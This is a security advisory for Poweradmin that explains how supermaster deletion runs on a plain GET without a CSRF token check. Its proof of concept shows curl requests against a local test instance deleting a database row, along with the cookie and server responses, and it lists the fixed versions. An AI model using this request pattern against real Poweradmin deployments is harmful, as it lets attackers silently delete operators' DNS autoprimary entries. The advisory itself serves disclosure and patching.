GHSA-PP7C-29CM-2778
Missing CSRF protection on GET-triggered autoprimary (supermaster) deletion
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-PP7C-29CM-2778 divulgada · CVSS 5.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Poweradmin performs autoprimary (supermaster) deletion on a plain HTTP GET without validating the application's CSRF token. Because the session cookie is issued with `SameSite=Lax`, which still attaches cookies to cross-site top-level GET navigations, an attacker who can get a logged-in operator to visit a crafted page or link can make the operator's browser perform it.
Details
Poweradmin has a working CSRF facility (`CsrfTokenService`, a random token in `$_SESSION['csrf_token']`, compared with `hash_equals`, validated by `BaseController::validateCsrfToken()`), and the majority of destructive controllers use it correctly, e.g. `DeleteRecordController`, `DeleteDomainController`, `DeleteUserController`, `DeleteGroupController` all execute `if ($this->isPost()) { $this->validateCsrfToken(); ... }`. The following controllers omit the check entirely and are driven by GET query parameters instead of an authenticated POST:
`DeleteSupermasterController`, `GET /supermasters/delete?master_ip=<ip>&ns_name=<ns>&confirm=1`
The route accepts `GET` and the controller performs no `isPost()` or `validateCsrfToken()` check.
Why the GET reachability matters. `initializeSession()` sets the session cookie with `samesite => 'Lax'`. `SameSite=Lax` deliberately does attach the cookie to cross-site top-level GET navigations (`window.location`, `<a target=_blank>`, `<meta http-equiv=refresh>`, or a 302 from an attacker's own server); it only blocks cross-site *subresource* loads such as `<img src>`.
Contrast with a correctly protected sibling, confirmed live: `DeleteRecordController` requires `isPost()` and `validateCsrfToken()`, and a plain GET against its delete route returns the confirmation page rather than performing the deletion; a POST with no token is likewise rejected.
PoC
All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure. The DNSSEC toggle steps additionally use a mock PowerDNS API server, also self-hosted locally on `127.0.0.1:9999`, standing in for a real PowerDNS instance.
All fired with `curl` as plain `GET` requests, authenticated session cookie only (`-b admin.jar -c admin.jar` / `-b zm.jar -c zm.jar`), no CSRF token supplied in any request.
Session cookie attribute, confirmed live:
$ curl -sS -i 'http://127.0.0.1:8123/login'HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:13:40 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=pfhg11kc9b21aq3kajj489pj4c; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=utf-8
<!doctype html>
...Supermaster deletion:
$ sqlite3 -header pa.db "SELECT ip,nameserver FROM supermasters;"ip|nameserver
192.0.2.99|ns1.example2.com$ curl -sS -i -b admin.jar -c admin.jar \
'http://127.0.0.1:8123/supermasters/delete?master_ip=192.0.2.99&ns_name=ns1.example2.com&confirm=1'HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:13:54 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=vc96d6vu5sceth3dnj5iaegirr; path=/; HttpOnly; SameSite=Lax
Location: /supermasters
Content-type: text/html; charset=UTF-8$ sqlite3 pa.db "SELECT ip,nameserver FROM supermasters;"(empty, row deleted)Impact
An attacker-controlled page that a logged-in operator visits can silently delete autoprimary (supermaster) entries, which stops PowerDNS from auto-provisioning secondary zones from that primary.
Split from GHSA-rjcc-m8cx-6p4c, which originally covered five endpoints with the same omission.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 3.9.12, 4.2.6, 4.3.5, 4.4.1 | — | — |
3.9.124.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-pp7c-29cm-2778Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
